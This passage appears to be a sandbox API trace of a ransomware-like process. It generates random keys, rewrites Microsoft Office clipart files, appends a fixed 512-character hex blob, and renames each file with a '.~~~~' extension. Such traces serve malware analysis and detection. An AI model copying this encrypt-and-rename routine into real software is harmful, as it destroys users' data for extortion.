	[0092.719] WriteFile (in: hFile=0x134, lpBuffer=0x47c6e8*, nNumberOfBytesToWrite=0x200, lpNumberOfBytesWritten=0x24dfec0, lpOverlapped=0x0 | out: lpBuffer=0x47c6e8*, lpNumberOfBytesWritten=0x24dfec0*=0x200, lpOverlapped=0x0) returned 1
	[0092.719] CloseHandle (hObject=0x134) returned 1
	[0092.719] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xa0) returned 0x28d1710
	[0092.719] MoveFileW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099148.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0099148.jpg"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099148.JPG.~~~~" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0099148.jpg.~~~~")) returned 1
	[0092.746] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x28d1710 | out: hHeap=0x300000) returned 1
	[0092.746] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3570e0 | out: hHeap=0x300000) returned 1
	[0092.747] GetLastError () returned 0x0
	[0092.747] CryptAcquireContextA (in: phProv=0x24dfcdc, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x24dfcdc*=0x3a0048) returned 1
	[0092.748] CryptGenRandom (in: hProv=0x3660b0, dwLen=0x20, pbBuffer=0x362fe0 | out: pbBuffer=0x362fe0) returned 1
	[0092.748] CryptReleaseContext (hProv=0x3a0048, dwFlags=0x0) returned 1
	[0092.748] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x362fe0 | out: hHeap=0x300000) returned 1
	[0092.748] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x8) returned 0x368b80
	[0092.748] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x120c) returned 0x2877310
	[0092.748] QueryPerformanceCounter (in: lpPerformanceCount=0x24dfc48 | out: lpPerformanceCount=0x24dfc48*=21273845317) returned 1
	[0092.748] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x24dfc88 | out: lpSystemTimeAsFileTime=0x24dfc88*(dwLowDateTime=0xa10bfef0, dwHighDateTime=0x1d60e1e)) 
	[0092.748] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x362380
	[0092.749] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x3623a0
	[0092.749] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x40) returned 0x3570e0
	[0092.749] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x30) returned 0x3a26e8
	[0092.749] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x47) returned 0x3582f8
	[0092.749] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3a26e8 | out: hHeap=0x300000) returned 1
	[0092.749] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x6a) returned 0x27fd3a0
	[0092.749] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3582f8 | out: hHeap=0x300000) returned 1
	[0092.749] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x9e) returned 0x28d1710
	[0092.749] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x27fd3a0 | out: hHeap=0x300000) returned 1
	[0092.749] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x38bc60
	[0092.749] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x28d1710 | out: hHeap=0x300000) returned 1
	[0092.749] RaiseException (dwExceptionCode=0xe06d7363, dwExceptionFlags=0x1, nNumberOfArguments=0x3, lpArguments=0x24dfb18) 
	[0092.749] GetLastError () returned 0x0
	[0092.749] RtlUnwind (TargetFrame=0x24dfc20, TargetIp=0x423f9b, ExceptionRecord=0x24df5dc, ReturnValue=0x0) 
	[0092.749] GetLastError () returned 0x0
	[0092.767] SetFilePointerEx (in: hFile=0x134, liDistanceToMove=0xffffd252, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0092.767] WriteFile (in: hFile=0x134, lpBuffer=0x2922060*, nNumberOfBytesToWrite=0x2dae, lpNumberOfBytesWritten=0x24dfec0, lpOverlapped=0x0 | out: lpBuffer=0x2922060*, lpNumberOfBytesWritten=0x24dfec0*=0x2dae, lpOverlapped=0x0) returned 1
	[0092.767] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x2922060 | out: hHeap=0x300000) returned 1
	[0092.767] SetFilePointerEx (in: hFile=0x134, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0092.767] WriteFile (in: hFile=0x134, lpBuffer=0x368b80*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x24dfec0, lpOverlapped=0x0 | out: lpBuffer=0x368b80*, lpNumberOfBytesWritten=0x24dfec0*=0x8, lpOverlapped=0x0) returned 1
	[0092.767] lstrlenA (lpString="ff9adce5d1999a19d7a1bf41e23a0520dc7873573292a0f0d4cb5ded2ad86c32d7e2da327a4cc55a621e77502b8e9936edbe6c2a95ba91b54d5135697840713b503a1bb495553b8b82806202a8690e6b446dab3a37f229028214d58fce3623dfe03ad041a836746ff68feb9e3d7a9daffeda13d592267e845a652662e2b5552b184ffc86ef05570139632d703f5d377e9c8421469caa9044650bd1effe73e654cecd9aac565e691430a97cfb177904cd8ab67c0ab614b6129833debf0b9d3135ae002eb221e4966953f46fcbd39aa5c8729834b83294aa7d387e63c53c0755302477b25257e354276c4111a1840fee8b8bbfe99664f3bec5880763f2bb52d93b") returned 512
	[0092.768] WriteFile (in: hFile=0x134, lpBuffer=0x47c6e8*, nNumberOfBytesToWrite=0x200, lpNumberOfBytesWritten=0x24dfec0, lpOverlapped=0x0 | out: lpBuffer=0x47c6e8*, lpNumberOfBytesWritten=0x24dfec0*=0x200, lpOverlapped=0x0) returned 1
	[0092.768] CloseHandle (hObject=0x134) returned 1
	[0092.768] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xa0) returned 0x28d1710
	[0092.768] MoveFileW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099152.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0099152.jpg"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099152.JPG.~~~~" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0099152.jpg.~~~~")) returned 1
	[0092.919] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x28d1710 | out: hHeap=0x300000) returned 1
	[0092.919] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3570e0 | out: hHeap=0x300000) returned 1
	[0092.919] GetLastError () returned 0x0
	[0092.921] CryptAcquireContextA (in: phProv=0x24dfcdc, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x24dfcdc*=0x3a0048) returned 1
	[0092.922] CryptGenRandom (in: hProv=0x3660b0, dwLen=0x20, pbBuffer=0x362fe0 | out: pbBuffer=0x362fe0) returned 1
	[0092.922] CryptReleaseContext (hProv=0x3a0048, dwFlags=0x0) returned 1
	[0092.922] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x362fe0 | out: hHeap=0x300000) returned 1
	[0092.922] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x8) returned 0x368b80
	[0092.922] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x120c) returned 0x2877310
	[0092.922] QueryPerformanceCounter (in: lpPerformanceCount=0x24dfc48 | out: lpPerformanceCount=0x24dfc48*=21291254912) returned 1
	[0092.923] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x24dfc88 | out: lpSystemTimeAsFileTime=0x24dfc88*(dwLowDateTime=0xa1288f70, dwHighDateTime=0x1d60e1e)) 
	[0092.923] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x3623a0
	[0092.923] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x362380
	[0092.923] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x40) returned 0x3570e0
	[0092.923] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x30) returned 0x3a2528
	[0092.923] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x47) returned 0x3582f8
	[0092.923] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3a2528 | out: hHeap=0x300000) returned 1
	[0092.923] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x6a) returned 0x27fd3a0
	[0092.923] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3582f8 | out: hHeap=0x300000) returned 1
	[0092.923] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x9e) returned 0x28d1710
	[0092.923] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x27fd3a0 | out: hHeap=0x300000) returned 1
	[0092.923] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x38bec0
	[0092.923] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x28d1710 | out: hHeap=0x300000) returned 1
	[0092.923] RaiseException (dwExceptionCode=0xe06d7363, dwExceptionFlags=0x1, nNumberOfArguments=0x3, lpArguments=0x24dfb18) 
	[0092.923] GetLastError () returned 0x0
	[0092.923] RtlUnwind (TargetFrame=0x24dfc20, TargetIp=0x423f9b, ExceptionRecord=0x24df5dc, ReturnValue=0x0) 
	[0092.924] GetLastError () returned 0x0
	[0093.225] SetFilePointerEx (in: hFile=0x134, liDistanceToMove=0xffffc4d7, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0093.225] WriteFile (in: hFile=0x134, lpBuffer=0x2843fe0*, nNumberOfBytesToWrite=0x3b29, lpNumberOfBytesWritten=0x24dfec0, lpOverlapped=0x0 | out: lpBuffer=0x2843fe0*, lpNumberOfBytesWritten=0x24dfec0*=0x3b29, lpOverlapped=0x0) returned 1
	[0093.225] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x2843fe0 | out: hHeap=0x300000) returned 1
	[0093.225] SetFilePointerEx (in: hFile=0x134, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0093.225] WriteFile (in: hFile=0x134, lpBuffer=0x368b80*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x24dfec0, lpOverlapped=0x0 | out: lpBuffer=0x368b80*, lpNumberOfBytesWritten=0x24dfec0*=0x8, lpOverlapped=0x0) returned 1
	[0093.225] lstrlenA (lpString="ff9adce5d1999a19d7a1bf41e23a0520dc7873573292a0f0d4cb5ded2ad86c32d7e2da327a4cc55a621e77502b8e9936edbe6c2a95ba91b54d5135697840713b503a1bb495553b8b82806202a8690e6b446dab3a37f229028214d58fce3623dfe03ad041a836746ff68feb9e3d7a9daffeda13d592267e845a652662e2b5552b184ffc86ef05570139632d703f5d377e9c8421469caa9044650bd1effe73e654cecd9aac565e691430a97cfb177904cd8ab67c0ab614b6129833debf0b9d3135ae002eb221e4966953f46fcbd39aa5c8729834b83294aa7d387e63c53c0755302477b25257e354276c4111a1840fee8b8bbfe99664f3bec5880763f2bb52d93b") returned 512
	[0093.226] WriteFile (in: hFile=0x134, lpBuffer=0x47c6e8*, nNumberOfBytesToWrite=0x200, lpNumberOfBytesWritten=0x24dfec0, lpOverlapped=0x0 | out: lpBuffer=0x47c6e8*, lpNumberOfBytesWritten=0x24dfec0*=0x200, lpOverlapped=0x0) returned 1
	[0093.226] CloseHandle (hObject=0x134) returned 1
	[0093.226] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xa0) returned 0x28d1710
	[0093.226] MoveFileW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099160.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0099160.jpg"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099160.JPG.~~~~" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0099160.jpg.~~~~")) returned 1
	[0093.227] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x28d1710 | out: hHeap=0x300000) returned 1
	[0093.227] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3570e0 | out: hHeap=0x300000) returned 1
	[0093.227] GetLastError () returned 0x0
	[0093.228] CryptAcquireContextA (in: phProv=0x24dfcdc, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x24dfcdc*=0x3a0048) returned 1
	[0093.229] CryptGenRandom (in: hProv=0x3660b0, dwLen=0x20, pbBuffer=0x362fe0 | out: pbBuffer=0x362fe0) returned 1
	[0093.229] CryptReleaseContext (hProv=0x3a0048, dwFlags=0x0) returned 1
	[0093.229] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x362fe0 | out: hHeap=0x300000) returned 1
	[0093.230] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x8) returned 0x368b80
	[0093.230] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x120c) returned 0x2877310
	[0093.230] QueryPerformanceCounter (in: lpPerformanceCount=0x24dfc48 | out: lpPerformanceCount=0x24dfc48*=21321977129) returned 1
	[0093.230] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x24dfc88 | out: lpSystemTimeAsFileTime=0x24dfc88*(dwLowDateTime=0xa155c990, dwHighDateTime=0x1d60e1e)) 
	[0093.230] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x362380
	[0093.230] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x3623a0
	[0093.230] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x40) returned 0x3570e0
	[0093.230] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x30) returned 0x388250
	[0093.230] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x47) returned 0x3582f8
	[0093.230] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x388250 | out: hHeap=0x300000) returned 1
	[0093.230] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x6a) returned 0x27fd3a0
	[0093.230] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3582f8 | out: hHeap=0x300000) returned 1
	[0093.230] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x9e) returned 0x28d1710
	[0093.230] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x27fd3a0 | out: hHeap=0x300000) returned 1
	[0093.230] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x38c380
	[0093.230] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x28d1710 | out: hHeap=0x300000) returned 1
	[0093.230] RaiseException (dwExceptionCode=0xe06d7363, dwExceptionFlags=0x1, nNumberOfArguments=0x3, lpArguments=0x24dfb18) 
	[0093.231] GetLastError () returned 0x0
	[0093.231] RtlUnwind (TargetFrame=0x24dfc20, TargetIp=0x423f9b, ExceptionRecord=0x24df5dc, ReturnValue=0x0) 
	[0093.231] GetLastError () returned 0x0
	[0093.380] SetFilePointerEx (in: hFile=0x134, liDistanceToMove=0xffffaa46, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0093.380] WriteFile (in: hFile=0x134, lpBuffer=0x2843fe0*, nNumberOfBytesToWrite=0x55ba, lpNumberOfBytesWritten=0x24dfec0, lpOverlapped=0x0 | out: lpBuffer=0x2843fe0*, lpNumberOfBytesWritten=0x24dfec0*=0x55ba, lpOverlapped=0x0) returned 1
	[0093.381] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x2843fe0 | out: hHeap=0x300000) returned 1
	[0093.381] SetFilePointerEx (in: hFile=0x134, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0093.381] WriteFile (in: hFile=0x134, lpBuffer=0x368b80*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x24dfec0, lpOverlapped=0x0 | out: lpBuffer=0x368b80*, lpNumberOfBytesWritten=0x24dfec0*=0x8, lpOverlapped=0x0) returned 1
	[0093.381] lstrlenA (lpString="ff9adce5d1999a19d7a1bf41e23a0520dc7873573292a0f0d4cb5ded2ad86c32d7e2da327a4cc55a621e77502b8e9936edbe6c2a95ba91b54d5135697840713b503a1bb495553b8b82806202a8690e6b446dab3a37f229028214d58fce3623dfe03ad041a836746ff68feb9e3d7a9daffeda13d592267e845a652662e2b5552b184ffc86ef05570139632d703f5d377e9c8421469caa9044650bd1effe73e654cecd9aac565e691430a97cfb177904cd8ab67c0ab614b6129833debf0b9d3135ae002eb221e4966953f46fcbd39aa5c8729834b83294aa7d387e63c53c0755302477b25257e354276c4111a1840fee8b8bbfe99664f3bec5880763f2bb52d93b") returned 512
	[0093.381] WriteFile (in: hFile=0x134, lpBuffer=0x47c6e8*, nNumberOfBytesToWrite=0x200, lpNumberOfBytesWritten=0x24dfec0, lpOverlapped=0x0 | out: lpBuffer=0x47c6e8*, lpNumberOfBytesWritten=0x24dfec0*=0x200, lpOverlapped=0x0) returned 1
	[0093.381] CloseHandle (hObject=0x134) returned 1
	[0093.382] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xa0) returned 0x28d1710
	[0093.382] MoveFileW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099164.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0099164.wmf"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099164.WMF.~~~~" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0099164.wmf.~~~~")) returned 1
	[0093.383] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x28d1710 | out: hHeap=0x300000) returned 1
	[0093.383] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3570e0 | out: hHeap=0x300000) returned 1
	[0093.383] GetLastError () returned 0x0
	[0093.383] CryptAcquireContextA (in: phProv=0x24dfcdc, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x24dfcdc*=0x3a0048) returned 1
	[0093.384] CryptGenRandom (in: hProv=0x3660b0, dwLen=0x20, pbBuffer=0x362fe0 | out: pbBuffer=0x362fe0) returned 1
	[0093.384] CryptReleaseContext (hProv=0x3a0048, dwFlags=0x0) returned 1
	[0093.384] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x362fe0 | out: hHeap=0x300000) returned 1
	[0093.384] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x8) returned 0x368b80
	[0093.384] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x120c) returned 0x2877310
	[0093.384] QueryPerformanceCounter (in: lpPerformanceCount=0x24dfc48 | out: lpPerformanceCount=0x24dfc48*=21337449341) returned 1
	[0093.384] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x24dfc88 | out: lpSystemTimeAsFileTime=0x24dfc88*(dwLowDateTime=0xa15f4f10, dwHighDateTime=0x1d60e1e)) 
	[0093.384] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x3623a0
	[0093.385] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x362380
	[0093.385] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x40) returned 0x3570e0
	[0093.385] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x30) returned 0x3883a0
	[0093.385] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x47) returned 0x3582f8
	[0093.385] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3883a0 | out: hHeap=0x300000) returned 1
	[0093.385] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x6a) returned 0x27fd3a0
	[0093.385] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3582f8 | out: hHeap=0x300000) returned 1
	[0093.385] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x9e) returned 0x28d1710
	[0093.385] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x27fd3a0 | out: hHeap=0x300000) returned 1
	[0093.385] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x38c5e0
	[0093.385] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x28d1710 | out: hHeap=0x300000) returned 1
	[0093.385] RaiseException (dwExceptionCode=0xe06d7363, dwExceptionFlags=0x1, nNumberOfArguments=0x3, lpArguments=0x24dfb18) 
	[0093.385] GetLastError () returned 0x0
	[0093.385] RtlUnwind (TargetFrame=0x24dfc20, TargetIp=0x423f9b, ExceptionRecord=0x24df5dc, ReturnValue=0x0) 
	[0093.385] GetLastError () returned 0x0
	[0093.640] SetFilePointerEx (in: hFile=0x134, liDistanceToMove=0xffffa11c, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0093.640] WriteFile (in: hFile=0x134, lpBuffer=0x28f9050*, nNumberOfBytesToWrite=0x5ee4, lpNumberOfBytesWritten=0x24dfec0, lpOverlapped=0x0 | out: lpBuffer=0x28f9050*, lpNumberOfBytesWritten=0x24dfec0*=0x5ee4, lpOverlapped=0x0) returned 1
	[0093.642] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x28f9050 | out: hHeap=0x300000) returned 1
	[0093.642] SetFilePointerEx (in: hFile=0x134, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0093.642] WriteFile (in: hFile=0x134, lpBuffer=0x368b80*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x24dfec0, lpOverlapped=0x0 | out: lpBuffer=0x368b80*, lpNumberOfBytesWritten=0x24dfec0*=0x8, lpOverlapped=0x0) returned 1
	[0093.642] lstrlenA (lpString="ff9adce5d1999a19d7a1bf41e23a0520dc7873573292a0f0d4cb5ded2ad86c32d7e2da327a4cc55a621e77502b8e9936edbe6c2a95ba91b54d5135697840713b503a1bb495553b8b82806202a8690e6b446dab3a37f229028214d58fce3623dfe03ad041a836746ff68feb9e3d7a9daffeda13d592267e845a652662e2b5552b184ffc86ef05570139632d703f5d377e9c8421469caa9044650bd1effe73e654cecd9aac565e691430a97cfb177904cd8ab67c0ab614b6129833debf0b9d3135ae002eb221e4966953f46fcbd39aa5c8729834b83294aa7d387e63c53c0755302477b25257e354276c4111a1840fee8b8bbfe99664f3bec5880763f2bb52d93b") returned 512
	[0093.642] WriteFile (in: hFile=0x134, lpBuffer=0x47c6e8*, nNumberOfBytesToWrite=0x200, lpNumberOfBytesWritten=0x24dfec0, lpOverlapped=0x0 | out: lpBuffer=0x47c6e8*, lpNumberOfBytesWritten=0x24dfec0*=0x200, lpOverlapped=0x0) returned 1
	[0093.642] CloseHandle (hObject=0x134) returned 1
	[0093.642] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xa0) returned 0x28d1710
	[0093.643] MoveFileW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099170.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0099170.wmf"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099170.WMF.~~~~" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0099170.wmf.~~~~")) returned 1
	[0093.762] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x28d1710 | out: hHeap=0x300000) returned 1
	[0093.762] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3570e0 | out: hHeap=0x300000) returned 1
	[0093.762] GetLastError () returned 0x0
	[0093.763] CryptAcquireContextA (in: phProv=0x24dfcdc, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x24dfcdc*=0x3a0048) returned 1
	[0093.764] CryptGenRandom (in: hProv=0x3660b0, dwLen=0x20, pbBuffer=0x362fe0 | out: pbBuffer=0x362fe0) returned 1
	[0093.765] CryptReleaseContext (hProv=0x3a0048, dwFlags=0x0) returned 1
	[0093.765] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x362fe0 | out: hHeap=0x300000) returned 1
	[0093.765] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x8) returned 0x368b80
	[0093.765] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x120c) returned 0x2877310
	[0093.765] QueryPerformanceCounter (in: lpPerformanceCount=0x24dfc48 | out: lpPerformanceCount=0x24dfc48*=21375485640) returned 1
	[0093.765] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x24dfc88 | out: lpSystemTimeAsFileTime=0x24dfc88*(dwLowDateTime=0xa19ad170, dwHighDateTime=0x1d60e1e)) 
	[0093.765] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x362380
	[0093.765] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x3623a0
	[0093.765] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x40) returned 0x3570e0
	[0093.765] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x30) returned 0x388480
	[0093.765] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x47) returned 0x3582f8
	[0093.765] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x388480 | out: hHeap=0x300000) returned 1
	[0093.765] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x6a) returned 0x27fd3a0
	[0093.765] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3582f8 | out: hHeap=0x300000) returned 1
	[0093.765] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x9e) returned 0x28d1710
	[0093.765] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x27fd3a0 | out: hHeap=0x300000) returned 1
	[0093.765] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x283e090
	[0093.765] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x28d1710 | out: hHeap=0x300000) returned 1
	[0093.765] RaiseException (dwExceptionCode=0xe06d7363, dwExceptionFlags=0x1, nNumberOfArguments=0x3, lpArguments=0x24dfb18) 
	[0093.766] GetLastError () returned 0x0
	[0093.766] RtlUnwind (TargetFrame=0x24dfc20, TargetIp=0x423f9b, ExceptionRecord=0x24df5dc, ReturnValue=0x0) 
	[0093.766] GetLastError () returned 0x0
	[0093.860] SetFilePointerEx (in: hFile=0x134, liDistanceToMove=0xffffe7ba, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0093.860] WriteFile (in: hFile=0x134, lpBuffer=0x28f9050*, nNumberOfBytesToWrite=0x1846, lpNumberOfBytesWritten=0x24dfec0, lpOverlapped=0x0 | out: lpBuffer=0x28f9050*, lpNumberOfBytesWritten=0x24dfec0*=0x1846, lpOverlapped=0x0) returned 1
	[0093.860] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x28f9050 | out: hHeap=0x300000) returned 1
	[0093.860] SetFilePointerEx (in: hFile=0x134, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0093.861] WriteFile (in: hFile=0x134, lpBuffer=0x368b80*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x24dfec0, lpOverlapped=0x0 | out: lpBuffer=0x368b80*, lpNumberOfBytesWritten=0x24dfec0*=0x8, lpOverlapped=0x0) returned 1
	[0093.861] lstrlenA (lpString="ff9adce5d1999a19d7a1bf41e23a0520dc7873573292a0f0d4cb5ded2ad86c32d7e2da327a4cc55a621e77502b8e9936edbe6c2a95ba91b54d5135697840713b503a1bb495553b8b82806202a8690e6b446dab3a37f229028214d58fce3623dfe03ad041a836746ff68feb9e3d7a9daffeda13d592267e845a652662e2b5552b184ffc86ef05570139632d703f5d377e9c8421469caa9044650bd1effe73e654cecd9aac565e691430a97cfb177904cd8ab67c0ab614b6129833debf0b9d3135ae002eb221e4966953f46fcbd39aa5c8729834b83294aa7d387e63c53c0755302477b25257e354276c4111a1840fee8b8bbfe99664f3bec5880763f2bb52d93b") returned 512
